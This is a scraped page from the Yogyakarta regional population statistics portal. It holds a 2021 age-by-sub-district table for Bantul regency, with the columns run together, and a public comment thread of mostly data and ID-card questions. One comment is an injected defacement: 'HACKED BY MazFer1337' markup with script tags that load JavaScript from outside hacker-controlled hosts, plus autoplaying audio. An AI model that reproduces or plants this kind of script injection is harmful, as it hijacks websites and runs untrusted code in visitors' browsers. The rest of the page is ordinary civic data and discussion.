Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KABUPATEN BANTUL, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaSRANDAKANSANDENKRETEKPUNDONGBAMBANG LIPUROPANDAKPAJANGANBANTULJETISIMOGIRIDLINGOBANGUNTAPANPLERETPIYUNGANSEWONKASIHANSEDAYUTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun332290 622314317 631310305 615434360 794464451 915579497 1.076453382 835744677 1.421635604 1.239780740 1.520462445 9071.3021.196 2.498605538 1.143609546 1.1551.1461.085 2.2311.1381.085 2.223559546 1.10510.866 10.064 20.930
2 tahun188204 392198195 393188165 353247210 457269264 533348331 679280257 537443407 850417358 775407423 830276229 505834793 1.627351349 700365352 717686671 1.357777671 1.448330303 6336.604 6.182 12.786
3 tahun191161 352194184 378184167 351238227 465261252 513353315 668259239 498417436 853431423 854420439 859278241 519826837 1.663382353 735375403 778725598 1.323678685 1.363346303 6496.558 6.263 12.821
4 tahun230196 426167186 353193176 369232242 474286253 539326296 622246250 496382388 770427327 754440428 868296231 527835762 1.597387364 751403348 751732636 1.368728674 1.402320283 6036.630 6.040 12.670
5 tahun191180 371190203 393211183 394242250 492268250 518320320 640249253 502437414 851408352 760459401 860267265 532816841 1.657380308 688399364 763721727 1.448758704 1.462323297 6206.639 6.312 12.951
6 tahun222205 427180175 355203183 386232252 484275256 531375318 693254236 490472445 917447401 848482442 924211230 441786792 1.578362373 735384396 780722712 1.434759703 1.462321309 6306.687 6.428 13.115
7 tahun214208 422203197 400202202 404244232 476286272 558359344 703273256 529434438 872464413 877460482 942279263 542912815 1.727388391 779365388 753773725 1.498810726 1.536360338 6987.026 6.690 13.716
8 tahun204211 415225196 421173213 386261268 529284281 565359345 704284237 521491459 950449404 853498471 969272245 517899856 1.755395384 779410436 846791680 1.471809780 1.589370359 7297.174 6.825 13.999
9 tahun216227 443218199 417235191 426269263 532288292 580376347 723296281 577506431 937448427 875491458 949271253 524953915 1.868415368 783473382 855799709 1.508840753 1.593368353 7217.462 6.849 14.311
10 tahun238208 446215217 432195216 411254230 484276274 550384344 728274286 560514490 1.004490470 960489398 887302273 575928942 1.870427382 809418395 813770728 1.498817801 1.618378339 7177.369 6.993 14.362
11 tahun225215 440228233 461231204 435230243 473308282 590398388 786287279 566489423 912422387 809509481 990291300 591936911 1.847401379 780443432 875748748 1.496782764 1.546390353 7437.318 7.022 14.340
12 tahun261212 473255215 470213188 401291275 566303299 602417341 758320272 592511472 983478449 927495456 951254272 526981935 1.916447399 846439445 884833775 1.608864803 1.667385348 7337.747 7.156 14.903
13 tahun220204 424245241 486229200 429274257 531370286 656387370 757313271 584559523 1.082460422 882526519 1.045338305 643969884 1.853479465 944469402 871846750 1.596796853 1.649373372 7457.853 7.324 15.177
14 tahun233231 464205184 389219215 434268240 508319299 618393340 733279256 535520480 1.000449453 902471455 926307273 580956948 1.904410390 800420380 800805715 1.520850797 1.647345357 7027.449 7.013 14.462
15 tahun205219 424201207 408213196 409228233 461317276 593402356 758247273 520508506 1.014415424 839467468 935241259 500944883 1.827384370 754432363 795757766 1.523795760 1.555358312 6707.114 6.871 13.985
16 tahun223195 418186177 363201159 360214204 418288268 556325351 676238240 478468473 941419381 800434425 859248253 501925833 1.758436325 761392376 768785706 1.491815737 1.552392330 7226.989 6.433 13.422
17 tahun204184 388185176 361174162 336201190 391278235 513317312 629192226 418427405 832333355 688413368 781253222 475703686 1.389315285 600334346 680645593 1.238706640 1.346315331 6465.995 5.716 11.711
18 tahun208179 387215225 440231193 424231216 447260252 512363357 720278226 504447453 900446405 851436376 812274255 529865830 1.695410331 741409385 794721688 1.409743729 1.472375322 6976.912 6.422 13.334
19 tahun214193 407201204 405219200 419243239 482286265 551376331 707269259 528470446 916423392 815423414 837282250 532915779 1.694356345 701420385 805698727 1.425765707 1.472369328 6976.929 6.464 13.393
20 tahun208196 404230188 418223187 410250259 509316297 613362354 716298264 562459439 898382383 765416398 814264263 527855826 1.681350352 702394402 796757763 1.520771759 1.530377318 6956.912 6.648 13.560
21 tahun202217 419225227 452232222 454276264 540272307 579419367 786283287 570500414 914393404 797448440 888320300 620834868 1.702391341 732421416 837796719 1.515808814 1.622365333 6987.185 6.940 14.125
22 tahun193200 393221206 427213217 430232236 468270265 535325330 655255272 527471425 896381396 777425402 827306294 600836760 1.596319320 639381372 753720684 1.404751720 1.471320331 6516.619 6.430 13.049
23 tahun199209 408210240 450192211 403213205 418246279 525377350 727255264 519369386 755371375 746375386 761284275 559762747 1.509318312 630379393 772669679 1.348737731 1.468329304 6336.285 6.346 12.631
24 tahun218209 427218227 445211220 431230237 467268272 540352345 697246266 512429413 842360363 723408444 852317292 609802818 1.620351333 684366350 716707671 1.378730696 1.426353302 6556.566 6.458 13.024
25 tahun206211 417255231 486200212 412239289 528324290 614348339 687268285 553427441 868366382 748426409 835299328 627876843 1.719323371 694352373 725657706 1.363724737 1.461338332 6706.628 6.779 13.407
26 tahun223211 434273237 510225230 455251247 498275295 570374326 700274294 568471454 925428464 892462434 896309304 613814835 1.649356384 740396376 772666696 1.362807849 1.656330363 6936.934 6.999 13.933
27 tahun213199 412227241 468229227 456255255 510295243 538365346 711277300 577454459 913409385 794424460 884313304 617808816 1.624369325 694378375 753698678 1.376831792 1.623383383 7666.928 6.788 13.716
28 tahun222223 445217218 435229205 434263250 513276284 560367344 711272254 526443463 906413415 828462433 895315289 604823793 1.616361331 692365360 725721687 1.408787786 1.573371366 7376.907 6.701 13.608
29 tahun206222 428208209 417215203 418262281 543268302 570403385 788282270 552449512 961407422 829415465 880323317 640859860 1.719344353 697367369 736700713 1.413774774 1.548338333 6716.820 6.990 13.810
30 tahun197220 417219187 406192207 399241256 497275286 561381382 763256279 535430435 865378445 823451468 919290276 566804823 1.627364365 729321380 701721695 1.416740737 1.477346340 6866.606 6.781 13.387
31 tahun202209 411195206 401206215 421253264 517253278 531370355 725235266 501438434 872444402 846446444 890300297 597774791 1.565326369 695339343 682713661 1.374770741 1.511385379 7646.649 6.654 13.303
32 tahun207210 417206208 414202198 400260252 512284278 562355330 685265277 542401469 870434390 824433427 860288255 543828806 1.634321344 665387405 792705721 1.426752797 1.549353338 6916.681 6.705 13.386
33 tahun212202 414191203 394208196 404246256 502255274 529340348 688237247 484432427 859427423 850411452 863265261 526742745 1.487311342 653314382 696689750 1.439694722 1.416318310 6286.292 6.540 12.832
34 tahun194185 379189188 377171206 377253209 462273275 548350369 719254258 512452454 906434419 853442485 927270233 503776817 1.593353334 687367394 761699696 1.395705719 1.424308313 6216.490 6.554 13.044
35 tahun212200 412172172 344181183 364242256 498291279 570360360 720285276 561458460 918383418 801464462 926245268 513760810 1.570293309 602378397 775690720 1.410795731 1.526298325 6236.507 6.626 13.133
36 tahun226232 458203207 410190216 406257241 498307311 618375395 770276277 553484482 966479413 892498479 977265259 524859940 1.799384417 801384401 785808766 1.574836827 1.663334357 6917.165 7.220 14.385
37 tahun211240 451233213 446195213 408284285 569319324 643389393 782309309 618507510 1.017446486 932528515 1.043250294 544920971 1.891377379 756444397 841815796 1.611828874 1.702358348 7067.413 7.547 14.960
38 tahun263251 514233236 469225204 429265302 567339299 638412417 829299293 592515515 1.030481470 951535483 1.018254269 523918921 1.839411390 801468436 904825824 1.649910892 1.802369371 7407.722 7.573 15.295
39 tahun234251 485232236 468215222 437277304 581356331 687432412 844310287 597510559 1.069550516 1.066603555 1.158280270 5509901.045 2.035408419 827442430 872857903 1.760951910 1.861390407 7978.037 8.057 16.094
40 tahun246179 425205230 435215208 423266265 531293277 570400396 796306294 600511486 997496442 938539502 1.041301261 562936923 1.859425413 838413441 854851844 1.695882861 1.743410390 8007.695 7.412 15.107
41 tahun228199 427244210 454199215 414279224 503281293 574430374 804297294 591490469 959460448 908532494 1.026278258 536945946 1.891385347 732414445 859803840 1.643872843 1.715381344 7257.518 7.243 14.761
42 tahun249216 465221261 482216214 430273270 543310309 619382389 771322287 609514449 963432441 873482486 968296300 596940988 1.928382400 782442406 848827842 1.669870872 1.742358364 7227.516 7.494 15.010
43 tahun251229 480260196 456225210 435273233 506296279 575415368 783331256 587505473 978460436 896466469 935261277 538955956 1.911403389 792466416 882827805 1.632868844 1.712409426 8357.671 7.262 14.933
44 tahun200198 398226215 441200220 420271238 509271291 562374392 766286259 545442467 909441472 913464439 903264291 555875865 1.740397366 763444391 835757729 1.486806789 1.595364352 7167.082 6.974 14.056
45 tahun236208 444211240 451208246 454239233 472288277 565378349 727291270 561447473 920408422 830440450 890312280 592953895 1.848404398 802368393 761773738 1.511844818 1.662352339 6917.152 7.029 14.181
46 tahun219244 463202230 432220216 436248233 481293310 603388352 740260245 505465473 938458421 879506443 949315287 602821902 1.723401419 820399413 812817710 1.527833814 1.647395352 7477.240 7.064 14.304
47 tahun204194 398221213 434188197 385264249 513266312 578359351 710231230 461433446 879423411 834415404 819298283 581849790 1.639375364 739359401 760737692 1.429750682 1.432327287 6146.699 6.506 13.205
48 tahun197221 418204205 409221222 443191253 444323286 609356352 708262241 503410488 898417418 835436424 860313293 606809804 1.613384347 731363372 735717741 1.458715791 1.506292364 6566.610 6.822 13.432
49 tahun214212 426239242 481209229 438249262 511328348 676374415 789243268 511449457 906420422 842466477 943360339 699842885 1.727359369 728397398 795774827 1.601773822 1.595361344 7057.057 7.316 14.373
50 tahun191190 381199213 412217216 433239228 467262248 510331336 667257233 490443435 878378382 760330328 658251231 482741831 1.572303327 630314353 667653701 1.354676692 1.368349349 6986.134 6.293 12.427
51 tahun241222 463248226 474234204 438259223 482266310 576412359 771236240 476466531 997395413 808440466 906286324 610759866 1.625391318 709385410 795748735 1.483719750 1.469329326 6556.814 6.923 13.737
52 tahun247246 493263255 518223228 451264274 538316335 651378375 753268296 564489493 982424465 889435458 893301321 622844852 1.696354331 685426389 815713764 1.477745778 1.523383369 7527.073 7.229 14.302
53 tahun231245 476244267 511235228 463278270 548304346 650392409 801250249 499495541 1.036415456 871445413 858328297 625742836 1.578345348 693333390 723724792 1.516726743 1.469307361 6686.794 7.191 13.985
54 tahun227205 432241207 448213226 439232223 455267308 575378371 749222205 427429466 895421381 802388415 803257283 540723735 1.458270270 540346349 695697708 1.405723725 1.448292363 6556.326 6.440 12.766
55 tahun211184 395212208 420179219 398231239 470301296 597332313 645211200 411411465 876364416 780400386 786279257 536605698 1.303275286 561329342 671611651 1.262612671 1.283312293 6055.875 6.124 11.999
56 tahun234235 469263238 501210223 433262322 584335342 677392448 840266278 544492526 1.018392442 834423426 849246271 517705828 1.533320339 659372387 759702750 1.452710771 1.481372369 7416.696 7.195 13.891
57 tahun190224 414205222 427250204 454225234 459283310 593328351 679214193 407447468 915378401 779347393 740189242 431594641 1.235242246 488253265 518606649 1.255562638 1.200297317 6145.610 5.998 11.608
58 tahun194218 412173220 393222203 425198242 440274310 584321350 671185235 420393502 895370403 773373424 797209227 436618724 1.342250231 481278288 566604670 1.274596661 1.257276288 5645.534 6.196 11.730
59 tahun202201 403191210 401198188 386219249 468293292 585352393 745202176 378431420 851397405 802368377 745208227 435611708 1.319247259 506298289 587593647 1.240567609 1.176271272 5435.648 5.922 11.570
60 tahun168190 358180208 388187199 386205191 396260272 532259276 535180164 344358411 769272308 580285337 622163181 344517522 1.039209192 401255228 483486549 1.035492545 1.037262257 5194.738 5.030 9.768
61 tahun219246 465199237 436188230 418248272 520260299 559373385 758238279 517406410 816408413 821453475 928259343 602601667 1.268261314 575309327 636559635 1.194547669 1.216252331 5835.780 6.532 12.312
62 tahun175186 361186171 357195223 418226228 454281308 589327326 653156215 371402422 824329346 675344389 733232243 475653648 1.301221195 416260294 554551622 1.173553613 1.166271324 5955.362 5.753 11.115
63 tahun171156 327183161 344130196 326173210 383218236 454279311 590185162 347336342 678321341 662349358 707196240 436530505 1.035203202 405227232 459526533 1.059524571 1.095223258 4814.774 5.014 9.788
64 tahun153161 314167177 344158166 324205215 420200220 420304282 586154163 317312319 631260262 522308353 661169189 358465511 976164155 319205229 434480471 951464505 969225253 4784.393 4.631 9.024
65 tahun127193 320149170 319132163 295148180 328159173 332232215 447174178 352313290 603271278 549306318 624174179 353454428 882159175 334189209 398423433 856402423 825185215 4003.997 4.220 8.217
66 tahun147159 306159180 339142163 305154158 312169171 340232231 463163156 319273304 577229219 448287296 583190234 424435420 855211214 425256207 463448426 874419400 819230215 4454.144 4.153 8.297
67 tahun166151 317142153 295126136 262165163 328181194 375192213 405129127 256289242 531236237 473266262 528175163 338394364 758171160 331194184 378423344 767401401 802217210 4273.867 3.704 7.571
68 tahun120104 224115126 241106128 234134117 251148136 284165176 34198103 201229218 447194139 333233210 443150143 293304330 634131116 247129174 303324292 616284299 583181152 3333.045 2.963 6.008
69 tahun106100 206115125 240102113 215104119 223151148 299190159 34910887 195188166 354197178 375217200 417111139 250341297 638134106 240139128 267309296 605294337 631140151 2912.946 2.849 5.795
70 tahun98101 19998108 20692115 20711399 21297139 236124146 27010791 198162184 346138118 256184174 358155113 268215241 45610293 19598107 205251234 485252243 495114124 2382.400 2.430 4.830
71 tahun99134 233106135 24196139 235106132 238118137 255136177 313105131 236137183 320149187 336227243 470190203 393236232 468121160 281126179 305258249 507234267 501118130 2482.562 3.018 5.580
72 tahun9690 18673128 20197130 22781128 20991186 277106117 2236381 144135157 292107142 249147170 317105132 237195221 4167171 142115150 265193187 380226218 44493116 2091.994 2.424 4.418
73 tahun76106 18271103 17472106 1786188 14910393 196101122 2236878 146127132 259100114 214132166 29882126 208143189 33276100 17694107 201150167 317176199 37596103 1991.728 2.099 3.827
74 tahun4867 1157682 1587283 1556580 1457485 15985112 1975076 1267898 17660102 16278115 1938596 181129184 3135971 1306293 155133157 290135166 3017387 1601.362 1.754 3.116
75 tahun5365 1186297 1594975 1245479 1335597 15264104 1684550 9573118 1916399 16279136 2156386 149104135 2395979 1385673 129101146 247105162 2675673 1291.141 1.674 2.815
76 tahun65125 19076143 21968136 20476111 18775112 187101150 2516885 15394136 23089167 256134196 33084164 248140188 32873102 17575139 214155195 350134192 32676133 2091.583 2.474 4.057
77 tahun5567 12285108 19375110 18574100 174102140 24258100 1584766 1137898 17680125 20587114 2016075 135123151 2743567 1027680 156111157 268118132 25085129 2141.349 1.819 3.168
78 tahun4365 1086883 1515394 1477084 1544894 1427369 1422742 697689 1658690 176105144 2496587 152108111 2194359 1027367 140104111 21588144 2326176 1371.191 1.509 2.700
79 tahun6489 15379111 19084105 1897689 1657186 157115124 2396074 13485109 19489100 189113152 2657286 158134151 2856277 1399579 174135153 288136178 3149084 1741.560 1.847 3.407
80 ke atas354552 906434584 1.018331614 945308537 845405648 1.053485718 1.203296519 815486720 1.206439736 1.175514938 1.452354674 1.028473757 1.230249420 669342550 892592851 1.443542837 1.379384610 9946.988 11.265 18.253
Jumlah15.48215.59631.07815.67716.10931.78615.01515.65230.66717.68818.12335.81120.56421.12941.69326.08625.80651.89218.38818.38036.76832.13732.59364.73029.29329.41658.70931.71532.10563.82019.84520.15740.00256.48657.198113.68424.48624.08448.57026.37626.64953.02550.56250.310100.87252.30652.655104.96124.20924.23648.445 476.315 480.198 956.513
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih